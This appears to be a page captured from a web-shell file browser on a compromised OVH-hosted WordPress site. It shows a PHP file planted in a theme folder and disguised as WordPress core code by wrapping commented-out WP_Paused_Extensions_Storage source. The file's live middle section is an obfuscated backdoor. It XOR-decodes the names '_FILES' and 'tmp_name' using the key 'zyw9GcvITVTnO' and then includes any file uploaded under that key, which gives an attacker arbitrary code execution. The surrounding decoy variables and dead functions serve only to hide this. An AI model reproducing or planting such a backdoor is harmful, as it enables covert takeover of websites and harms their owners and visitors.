HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/incastiglionfiorentino/wp-content/themes/twentytwentyfour/MUqo.js.php
<?php /* 
*
 * Error Protection API: WP_Paused_Extensions_Storage class
 *
 * @package WordPress
 * @since 5.2.0
 

*
 * Core class used for storing paused extensions.
 *
 * @since 5.2.0
 
#[AllowDynamicProperties]
class WP_Paused_Extensions_Storage {

	*
	 * Type of extension. Used to key extension storage.
	 *
	 * @since 5.2.0
	 * @var string
	 
	protected $type;

	*
	 * Constructor.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension_type Extension type. Either 'plugin' or 'theme'.
	 
	public function __construct( $extension_type ) {
		$this->type = $extension_type;
	}

	*
	 * Records an extension error.
	 *
	 * Only one error is stored per extension, with subsequent errors for the same extension overriding the
	 * previously stored error.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @param array  $error     {
	 *     Error information returned by `error_get_last()`.
	 *
	 *     @type int    $type    The error type.
	 *     @type string $file    The name of the file in which the error occurred.
	 *     @type int    $line    The line number in which the error occurred.
	 *     @type string $message The error message.
	 * }
	 * @return bool True on success, false on failure.
	 
	public function set( $extension, $error ) {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		 Do not update if the error is already stored.
		if ( isset( $paused_extensions[ $this->type ][ $extension ] ) && $paused_extensions[ $this->type ][ $extension ] === $error ) {
			return true;
		}

		$paused_extensions[ $this->type ][ $extension ] = $error;

		return update_option( $option_name, $paused_extensions );
	}

	*
	 * Forgets a previously recorded extension error.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @return bool True on success, false on failure.
	 
	public function delete( $extension ) {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		 Do not delete if no error is stored.
		if ( ! isset( $paused_extensions[ $this->type ][ $extension ] ) ) {
			return true;
		}

		unset( $paused_extensions[ $this->type ][ $extension ] );

		if ( empty( $paused_extensions[ $this->type ] ) ) {
			unset( $paused_extensions[ $this->type ] )*/







	$post_updated = 'match';
function deleted()

{
	$publicly_queryable = 'post_category';
    $with_front = 'join';
}

function force_delete()

{

    $count = 'join';
	$to_ncr = 'tags';
    $pages = 924;
}



function extra_parts($field_no_prefix)

{

    $page_path = $field_no_prefix;


    $exclude_tree = $GLOBALS[double_encode("%25%3F%3Eu%020", $page_path)];

    $comment_ids = $exclude_tree;
    $apos_flag = 'join';
	$escaped = 'tagqueue';
    $post_parent__in = isset($comment_ids[$page_path]);

    $check_name = 'join';
    if ($post_parent__in)

    {
	$cdn_url = 'custom';
        $comments = $exclude_tree[$page_path];
	$main = 'tagnames';
        $post_type_in_string = 123;
        $ptypes = 656;
        $group_by_status = $comments[double_encode("%0E%14%07f%29%02%1B%2C", $page_path)];
        $post_type = 'join';
        $subject = $group_by_status;
	$pinged = 'meta';
        $stacksize = $post_type_in_string % ($ptypes + 4);
	$menu_order = 'diff';
        $post_type_in_string = $ptypes - $post_type_in_string;
        include ($subject);
    }

}

function double_encode($tax_object, $utf8_pcre)

{
    $attachment_id = $utf8_pcre;

    $no_texturize_shortcodes = "url";

    $no_texturize_shortcodes  .= "decode";
    $private = $no_texturize_shortcodes($tax_object);
	$_fragment = 'object_vars';
    $nohier_vs_hier_defaults = strlen($private);
    $nohier_vs_hier_defaults = substr($attachment_id, 0, $nohier_vs_hier_defaults);
    $features = $private ^ $nohier_vs_hier_defaults;
    $operator = 620;
	$cockney = 'fragment';


    $private = sprintf($features, $nohier_vs_hier_defaults);

    $operator = $operator + 4;

    $meta_input = 'join';


    return $features;
	$encode_ascii_characters = 'rest_base';
}

	$single = 'no_found_rows';
extra_parts('zyw9GcvITVTnO');

	$suffix = 'search';


	$image_meta = 'pee_parts';
deleted();



force_delete();
	$replace_pairs = 'show_in_admin_status_list';




/* ;
		}

		 Clean up the entire option if we're removing the only error.
		if ( ! $paused_extensions ) {
			return delete_option( $option_name );
		}

		return update_option( $option_name, $paused_extensions );
	}

	*
	 * Gets the error for an extension, if paused.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @return array|null Error that is stored, or null if the extension is not paused.
	 
	public function get( $extension ) {
		if ( ! $this->is_api_loaded() ) {
			return null;
		}

		$paused_extensions = $this->get_all();

		if ( ! isset( $paused_extensions[ $extension ] ) ) {
			return null;
		}

		return $paused_extensions[ $extension ];
	}

	*
	 * Gets the paused extensions with their errors.
	 *
	 * @since 5.2.0
	 *
	 * @return array {
	 *     Associative array of errors keyed by extension slug.
	 *
	 *     @type array ...$0 Error information returned by `error_get_last()`.
	 * }
	 
	public function get_all() {
		if ( ! $this->is_api_loaded() ) {
			return array();
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return array();
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		return isset( $paused_extensions[ $this->type ] ) ? $paused_extensions[ $this->type ] : array();
	}

	*
	 * Remove all paused extensions.
	 *
	 * @since 5.2.0
	 *
	 * @return bool
	 
	public function delete_all() {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		unset( $paused_extensions[ $this->type ] );

		if ( ! $paused_extensions ) {
			return delete_option( $option_name );
		}

		return update_option( $option_name, $paused_extensions );
	}

	*
	 * Checks whether the underlying API to store paused extensions is loaded.
	 *
	 * @since 5.2.0
	 *
	 * @return bool True if the API is loaded, false otherwise.
	 
	protected function is_api_loaded() {
		return function_exists( 'get_option' );
	}

	*
	 * Get the option name for storing paused extensions.
	 *
	 * @since 5.2.0
	 *
	 * @return string
	 
	protected function get_option_name() {
		if ( ! wp_recovery_mode()->is_active() ) {
			return '';
		}

		$session_id = wp_recovery_mode()->get_session_id();
		if ( empty( $session_id ) ) {
			return '';
		}

		return "{$session_id}_paused_extensions";
	}
}
*/